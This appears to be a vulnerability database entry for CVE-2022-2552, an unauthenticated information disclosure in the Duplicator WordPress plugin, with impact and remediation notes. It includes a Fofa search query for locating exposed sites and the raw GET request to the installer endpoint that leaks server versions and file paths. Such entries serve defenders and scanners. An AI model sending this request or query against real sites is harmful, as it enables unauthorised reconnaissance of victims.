| Title | Duplicator < 1.4.7.1 - Information Disclosure |
|---|---|
| Author | iamnoooob,ritikchaddha |
| Severity | Medium |
| Impact | Unauthenticated attackers can access sensitive system information including server software versions, PHP version, and full filesystem paths through the exposed installer endpoint, providing valuable reconnaissance data for targeted attacks. |
| Remediation | Update Duplicator plugin to version 1.4.7.1 or later that requires authentication before displaying system information. |
| CVSS Score | 5.3 |
| EPSS Score | 0.48477 |
| CVE ID | CVE-2022-2552 |
| CWE ID | CWE-862 |
| Fofa Query | body="/wp-content/plugins/duplicator" |
| Tags | cve cve2022 wp wp-plugin wordpress duplicator disclosure vuln |
The Duplicator WordPress plugin before 1.4.7 does not authenticate or authorize visitors before displaying information about the system such as server software, php version and full file system path to the site.
GET /wp-content/backups-dup-lite/dup-installer/main.installer.php?view=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2552.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2552.pcap
N/AN/A